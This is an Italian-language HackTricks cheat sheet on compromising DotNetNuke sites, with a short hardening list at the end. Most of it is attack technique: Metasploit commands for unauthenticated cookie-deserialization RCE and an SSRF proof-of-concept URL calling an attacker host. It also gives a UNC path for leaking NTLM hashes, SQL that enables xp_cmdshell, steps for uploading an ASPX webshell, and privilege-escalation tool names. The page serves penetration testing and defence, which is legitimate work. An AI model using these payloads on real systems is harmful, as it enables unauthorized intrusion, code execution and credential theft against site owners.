DotNetNuke (DNN)
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
DotNetNuke (DNN)
Se accedi come amministratore in DNN è facile ottenere RCE, tuttavia un certo numero di tecniche non autenticate e post-autenticazione sono state pubblicate negli ultimi anni. Il seguente cheat-sheet raccoglie le primitive più utili sia per il lavoro offensivo che difensivo.
Enumerazione della Versione & Ambiente
- Controlla l'intestazione di risposta HTTP X-DNN – di solito rivela la versione esatta della piattaforma.
- Il wizard di installazione rivela la versione in
/Install/Install.aspx?mode=install
(accessibile su installazioni molto vecchie). /API/PersonaBar/GetStatus
(9.x) restituisce un blob JSON contenente"dnnVersion"
per utenti a bassa privilegio.- Cookie tipici che vedrai su un'istanza live:
.DOTNETNUKE
– ticket di autenticazione dei moduli ASP.NET.DNNPersonalization
– contiene dati del profilo utente in XML/serializzati (versioni vecchie – vedi RCE qui sotto).
Sfruttamento Non Autenticato
1. Deserializzazione dei Cookie RCE (CVE-2017-9822 & seguiti)
Versioni interessate ≤ 9.3.0-RC
DNNPersonalization
viene deserializzato ad ogni richiesta quando il gestore 404 integrato è abilitato. XML creato ad arte può quindi portare a catene di gadget arbitrarie ed esecuzione di codice.
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
Il modulo sceglie automaticamente il percorso giusto per le versioni patchate ma ancora vulnerabili (CVE-2018-15811/15812/18325/18326). L'exploitation funziona senza autenticazione su 7.x–9.1.x e con un account verificato a basso privilegio su 9.2.x+.
2. Server-Side Request Forgery (CVE-2025-32372)
Versioni interessate < 9.13.8 – Patch rilasciata aprile 2025
Un bypass della vecchia correzione DnnImageHandler
consente a un attaccante di costringere il server a emettere richieste GET arbitrarie (SSRF semi-alla cieca). Impatti pratici:
- Scansione delle porte interne / scoperta dei servizi metadata nelle implementazioni cloud.
- Raggiungere host altrimenti protetti da firewall da Internet.
Proof-of-concept (sostituire TARGET
& ATTACKER
):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
La richiesta viene attivata in background; monitora il tuo listener per i callback.
3. Esposizione dell'Hash NTLM tramite Redirect UNC (CVE-2025-52488)
Versioni interessate 6.0.0 – 9.x (< 10.0.1)
Contenuti appositamente creati possono far sì che DNN tenti di recuperare una risorsa utilizzando un percorso UNC come \\attacker\share\img.png
. Windows eseguirà felicemente la negoziazione NTLM, rivelando gli hash degli account server all'attaccante. Aggiorna a 10.0.1 o disabilita SMB in uscita nel firewall.
4. Bypass del Filtro IP (CVE-2025-52487)
Se gli amministratori si affidano ai Filtri Host/IP per la protezione del portale admin, sii consapevole che le versioni precedenti a 10.0.1 possono essere bypassate manipolando X-Forwarded-For
in uno scenario di reverse-proxy.
Post-Autenticazione a RCE
Tramite console SQL
Sotto Impostazioni → SQL
una finestra di query integrata consente l'esecuzione contro il database del sito. Su Microsoft SQL Server puoi abilitare xp_cmdshell
e generare comandi:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
Via upload di webshell ASPX
- Vai a
Impostazioni → Sicurezza → Altro → Ulteriori impostazioni di sicurezza
. - Aggiungi
aspx
(oasp
) a Estensioni di file consentite e Salva. - Naviga a
/admin/file-management
e caricashell.aspx
. - Attivalo su
/Portals/0/shell.aspx
.
Escalation dei privilegi su Windows
Una volta ottenuta l'esecuzione del codice come IIS AppPool<Site>, si applicano tecniche comuni di escalation dei privilegi di Windows. Se la macchina è vulnerabile, puoi sfruttare:
- PrintSpoofer / SpoolFool per abusare di SeImpersonatePrivilege.
- Juicy/Sharp Potatoes per sfuggire a Service Accounts.
Raccomandazioni di indurimento (Blue Team)
- Aggiorna ad almeno 9.13.9 (risolve il bypass SSRF) o preferibilmente 10.0.1 (problemi di filtro IP e NTLM).
- Rimuovi i file residui
InstallWizard.aspx*
dopo l'installazione. - Disabilita l'uscita SMB outbound (porte 445/139).
- Applica filtri Host forti sul proxy di edge piuttosto che all'interno di DNN.
- Blocca l'accesso a
/API/RemoteContentProxy
se non utilizzato.
Riferimenti
- Documentazione del modulo Metasploit
dnn_cookie_deserialization_rce
– dettagli pratici su RCE non autenticato (GitHub). - Avviso di sicurezza GitHub GHSA-3f7v-qx94-666m – informazioni sul bypass SSRF del 2025 e patch.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.